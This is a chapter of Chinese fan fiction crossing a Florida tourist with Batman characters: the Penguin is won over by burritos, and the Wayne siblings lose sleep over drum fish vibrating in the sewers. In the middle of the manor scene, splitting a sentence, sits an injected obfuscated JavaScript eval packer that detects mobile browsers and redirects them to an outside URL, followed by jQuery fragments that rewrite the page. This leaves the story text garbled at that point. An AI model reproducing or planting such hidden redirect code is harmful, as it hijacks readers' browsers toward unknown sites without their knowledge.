达斯汀在哥谭的第五天，决定去南区看看。
不是因为有什么目的，单纯是因为这几天把东区逛得差不多了。下水道去了，犯罪巷去了，那个卖子弹的自动贩卖机他也研究过了——结论是“哥谭人真有意思，连自动贩卖机都比佛罗里达朋克”。
小饼干趴在他脚边，懒得动。
火烈鸟蹲在窗台上，也懒得动。
“行，”达斯汀点点头，“你俩看家，我出去溜达。”
他下楼的时候，老太太正在门口晒太阳——如果哥谭那灰蒙蒙的天算太阳的话。
“今天去哪送死？”
“南区。”达斯汀说，“听说那边有个赌场，去看看。”
老太太的独眼眯了眯。
“企鹅人的地盘。”
“我知道啊，电视上看到过，走路像浣熊那个。”
老太太沉默了三秒。
“你最好别去。”
“为什么？”
“因为企鹅人不像我这么好说话。”
达斯汀想了想，从腰包里掏出一个卷饼递给她。
“没事，我有这个。”
老太太看着手里的卷饼，又看着他的背影消失在街角，叹了口气。
“这小子活不过一周。”
南区比东区干净得多。
街道宽敞，路灯全亮，垃圾桶立得整整齐齐，墙上也没有涂鸦。每隔一段路就站着一个穿黑西装的人，双手交叠在身前，眼睛盯着过往的行人。
达斯汀吹着口哨走在街上，花裤衩在南区的灰暗背景里像一盏移动的霓虹灯。
那些黑西装的人看到他，集体愣了一秒。
其中一个人拿起对讲机，说了几句什么。
达斯汀没注意到。他正在研究路边一家店的招牌——“企鹅人的冰山餐厅”——下面的霓虹灯管闪得很有节奏感。
“这名字有意思。”他点点头，推门进去。
餐厅里很安静，铺着暗红色的地毯，墙上挂着企鹅主题的画。几个穿西装的客人正在用餐，看到他的花裤衩，刀叉停在半空。
达斯汀冲他们挥了挥手，然后径直走向吧台。
吧台后面站着一个光头，脖子上纹着伞蜥蜴——正是前几天被红头罩打过的那位。
光头看到他，手里的杯子差点掉下来。
“你……”
“你好！”达斯汀热情地打招呼，“吃卷饼吗？”
他从腰包里掏出一个热腾腾的卷饼，递到光头面前。
光头盯着那个卷饼，脑子里飞快地转着。
老板说要找到这个人，没说找到之后怎么办。是抓？是杀？还是请来喝茶？
但卷饼的香味钻进鼻子，他早上没吃饭，确实有点饿。
他伸手接了。
咬了一口。
嚼了两下。
又咬了一口。
旁边那几个用餐的西装客面面相觑。
光头吃完，舔了舔手指，看着达斯汀的眼神变了。
“你……还有吗？”
“有啊。”达斯汀又掏出两个，放到吧台上，“给兄弟们分分。”
光头犹豫了两秒，然后拿起对讲机。
“都进来，有吃的。”
三十秒后，七八个黑西装涌进餐厅，围在吧台前，每个人手里捧着一个热腾腾的卷饼。
达斯汀坐在吧台椅上，翘着二郎腿，看他们吃。
“好吃吗？”
“嗯。”
“嗯嗯。”
“嗯嗯嗯。”
光头吃完第二个，擦了擦嘴，问：“你来南区干嘛？”
达斯汀想了想：“听说这边有个走路像浣熊的胖子，来看看。”
光头的嘴角抽了抽。
“那是我们老板。”
“那他在吗？”
光头沉默了三秒，然后拿起对讲机。
“老板，有个花裤衩的找你。”
企鹅人从楼上下来的时候，看到的是这样一幅画面——
他的八个手下围坐在吧台前，每个人手里都拿着卷饼，吃得很投入。那个穿花裤衩的男人坐在他们中间，正在讲佛罗里达的鳄鱼怎么追冲浪的人。
“……然后那条鳄鱼追了他二十分钟，最后发现是冲浪板长得像另一条鳄鱼。那哥们儿现在还在医院，但不是因为被咬，是因为笑得太多抽筋了。”
几个人笑得前仰后合。
企鹅人的雪茄差点从嘴里掉下来。
“你们在干什么？”
笑声停了。
光头站起来，脸上的表情像做错事的孩子：“老板，这个人……他说他来找你。”
企鹅人盯着达斯汀。
达斯汀也盯着他，然后眼睛亮了。
“浣熊！”
企鹅人的嘴角抽了抽。
“你说什么？”
“走路像浣熊那个。”达斯汀从吧椅上跳下来，走过去，从腰包里掏出一个卷饼递过去，“你好，我叫达斯汀，佛罗里达来的。”
企鹅人没接。
他盯着达斯汀看了三秒，然后开口，声音低沉：“你知道我是谁吗？”
“知道啊，企鹅人。电视上见过。”
“那你还敢来？”
达斯汀想了想：“为什么不敢？你又不吃人。”
企鹅人的手下们集体屏住呼吸。
企鹅人沉默了几秒，然后冷笑一声。
“我不吃人，但我杀人。”
“那你杀过人之后，吃饭吗？”
企鹅人愣住了。
这是什么问题？
达斯汀把卷饼往前递了递：“先吃吧。你脸色不太好，最近没睡好吧？”
企鹅人盯着那个卷饼。
他确实没睡好。
连续三天，那个该死的噪音从地下传来，嗡嗡嗡，嗡嗡嗡，像有人在脑子里敲鼓。他换了三个房间，加了双层隔音，甚至搬到地下室——噪音反而更大了。
他已经三天没合眼，眼圈黑得像熊猫。
卷饼的香味飘进鼻子里。
他鬼使神差地伸手接了。
咬了一口。
嚼了两下。
他愣住了。
噪音的感觉……好像变轻了？
不是听不见，而是那种烦躁感，那种想杀人的冲动，像被什么东西压下去了一点。
他又咬了一口。
噪音还在，但好像……没那么让人暴躁了。
达斯汀看着他吃，满意地点点头：“怎么样？好吃吧？”
企鹅人嚼着卷饼，盯着达斯汀的眼神变了。
不是警惕，不是敌意，而是……审视。
这个人，这个卷饼，那个该死的噪音……
他脑子里飞速转着。
“你那个卷饼，”他开口，声音比刚才平和了一点，“哪来的？”
“做的啊。”达斯汀拍拍腰包，“里面有个朋友送的，一直放着，反正拿出来就是热的。”
企鹅人看着那个破旧的腰包，眯了眯眼睛。
“就这个？”
“对啊。”
企鹅人沉默了几秒，然后突然笑了。
不是冷笑，是真的笑。
达斯汀也笑了：“你笑起来挺好看的，比电视上那个假笑好多了。”
企鹅人的手下们集体石化。
他们跟了老板这么多年，从来没见过他这么笑。
企鹅人把剩下的卷饼吃完，拍了拍手。
“达斯汀是吧？”他说，“以后叫我科波特就行。那几个字太长。”
达斯汀点头：“行，科波特。”
企鹅人转头对手下说：“去拿两瓶好酒，再让厨房做点吃的。这位是我朋友。”
手下们面面相觑，然后飞快地去办了。
达斯汀被请到最好的位置，面前摆满了食物。企鹅人坐在他对面，亲自给他倒酒。
“你那个卷饼，”企鹅人说，“还有多少？”
“挺多的，每天能掏出来几十个吧。”
“卖吗？”
“不卖，只送。”
企鹅人沉默了一秒，然后点头。
“行，以后你每天来我这儿坐坐，卷饼给兄弟们发发。”
达斯汀眼睛亮了：“真的？”
“真的。”企鹅人端起酒杯，“就当交个朋友。”
达斯汀和他碰了杯，一口闷了。
企鹅人看着他喝，又笑了笑。
他暂时动不了这个人。不是因为卷饼好吃，是因为那个该死的噪音——他发现吃完卷饼之后，噪音的烦躁感会减轻一段时间。
如果这个人每天来，如果他的卷饼能持续有效……
企鹅人眯了眯眼睛。
这比打东区值钱多了。
---下水道---
凌晨四点，一个黑影出现在东区的某个井盖旁。
他蹲下来，撬开井盖，往下看了一眼。
然后他跳了进去。
下水道里很黑，但他戴着夜视仪。他沿着水泥台往前走，躲过几个睡觉的流浪汉，一直走到管道交汇的地方。
那里有一群鱼。
比正常的鱼群多得多，密密麻麻挤在水流较缓的区域。
黑影蹲下来，仔细观察。
鱼在动，但不是随便游。它们在努力往上游，逆着水流，一次又一次地冲上去，又被冲回来。每一次冲击，身体都会弯曲，然后——震动。
黑影把手贴在水边的水泥台上。
感觉到了。
那震动从水里传上来，沿着水泥传进他的掌心，频率稳定，像是——
心跳。
不，比心跳更快，像鼓点。
黑影站起来，打开一个小型仪器，伸进水里。几秒后，屏幕上跳出一行数据：
多须石首鱼（Pogonias cromis），俗称黑鼓鱼，原产地：佛罗里达海域。发情期雄性会通过肌肉抵住鱼鳔产生震动，频率100-500赫兹，用于求偶。群居繁殖时震动可叠加，穿透力极强。
黑影盯着那行字，沉默了很久。
佛罗里达。该去找他了。
他站起来，转身离开。走到井盖下的时候，他回头看了一眼那群还在努力往上冲的鱼。
它们想游上去，想找个安静的地方下崽。但这段水道堵了，它们上不去，只能挤在这里，一遍一遍地冲，一遍一遍地震。
整个东区，甚至更远的地方，都被它们的“求偶鼓声”震得睡不着。
黑影爬上地面，盖上井盖，消失在夜色中。
---韦恩庄园---
杰森·托德翻进韦恩庄园的后墙，落地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376632|200099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的姿势很轻。
他没走正门，没走任何可能有监控的路，沿着小时候摸熟的路线，一路摸到厨房的窗户。
窗户没锁。
阿尔弗雷德还是老习惯，总给“可能回来的孩子们”留一扇窗。
杰森翻进去，落地无声。厨房里很黑，只有冰箱的嗡嗡声——不对，那不是冰箱，是那个该死的噪音。
他揉了揉太阳穴。
这破声音跟了他三天，在东区的据点里震得他睡不着，换了三个地方都没用。最后他决定——回庄园，找点能隔音的东西。蝙蝠洞里应该有那种专业耳罩，或者别的什么。
他轻手轻脚穿过厨房，走到走廊里，然后——
“杰森？”
他僵住了。
提姆站在走廊尽头，手里拿着个空咖啡杯，眼睛下面两个巨大的黑眼圈。
两人对视了三秒。
“你他妈的怎么在这儿？”杰森压低声音。
“我住这儿。”提姆的声音有气无力，“你回来干嘛？”
杰森沉默了一秒。
“找东西。”
“找什么？”
“能隔音的玩意儿。”
提姆愣了一下，然后苦笑。
“没用。我试过蝙蝠洞的专业耳罩，试过三层隔音棉，试过换到地下室——没用。那东西不是声音，是震动。”
杰森的眉头皱起来。
“那是什么鬼东西？”
提姆看着他，沉默了两秒。
“鱼。”
“……什么？”
“鱼。”提姆重复了一遍，“佛罗里达来的鱼。发情期，在水里震动。”
杰森盯着他，像看一个疯子。
“你他妈在说什么？”
提姆叹了口气，解释了这种鱼的来历，怀疑是那个花裤衩。
“那个神经病？”
提姆沉默了很久。
楼上传来脚步声，有人下来了。
两人同时抬头。
迪克站在楼梯上，穿着睡衣，头发乱成鸡窝，眼睛下面同样两个黑眼圈。
他看着走廊里的两个人，沉默了三秒。
“你们俩……私会？”
“闭嘴。”杰森说。
“我是下来找水的。”迪克走下楼梯，路过他们，走进厨房，倒了杯水，又走出来，靠在墙上，“你们也是被那破声音吵醒的？”
“我是回来找东西。”杰森说。
“我是出来倒咖啡。”提姆说。
三人沉默着站在走廊里。
楼上又传来脚步声。
这次是达米安。他穿着睡衣，手里拿着把刀，眼睛下面两个黑眼圈，脸色比平时更臭。
他看着走廊里的三个人，又看着他们手里的东西——杰森的空手，提姆的咖啡杯，迪克的水杯。
“你们在开派对？”他的声音同样有气无力。
“你来干嘛？”迪克问。
达米安沉默了一秒。
“睡不着。下来看看有没有人打。”
迪克叹了口气。
四个人站在走廊里，谁也没说话。
那该死的嗡嗡声还在继续，从地板下面传上来，震得人头皮发麻。
达米安先开口：“所以那声音到底是什么？”
提姆：“鱼。”
达米安：“……鱼？”
提姆：“多须石首鱼。发情。”
达米安沉默了。
迪克笑出声来：“所以那个把我们全吵得睡不着的东西，是鱼在谈恋爱？”
提姆点头。
杰森咬着披萨，嘴角居然往上翘了一点。
达米安的脸黑了。
他想说点什么，但不知道该说什么。
鱼。发情。谈恋爱。把所有人都吵得睡不着。
这他妈是什么剧情？
迪克已经笑得蹲下去了。
杰森吃完最后一口披萨，擦了擦手。
“行了，我拿完东西就走了。”他走向窗户。
迪克在后面喊：“不聊会儿？”
“跟你有什么好聊的。”
达米安哼了一声：“他怕我们问他怎么认识那个花裤衩的。”
杰森的脚步骤然停住。
他转过头，眼神危险地眯起来。
达米安毫不示弱地瞪回去。
提姆靠在台面上，端着咖啡，一副“我不参与”的表情。
迪克笑得更开心了。
厨房里的气氛微妙起来。
然后，远处传来一声响动。
所有人都安静下来。
脚步声。
从楼梯上下来。
越来越近。
四个人对视一眼。
下一秒——
杰森翻窗。
迪克翻身回滴水兽。
提姆端着咖啡往地下室走。
达米安拿着水杯往楼上跑。
厨房里瞬间空了。
三秒后，阿尔弗雷德端着一杯茶走进来。
他看着空荡荡的厨房，又看看那个被打开的冰箱，又看看窗户上还没关好的缝隙。
他叹了口气。
“少爷们，下次记得关窗。”
没人回应。
阿尔弗雷德摇摇头，把窗户关上，端着茶走了。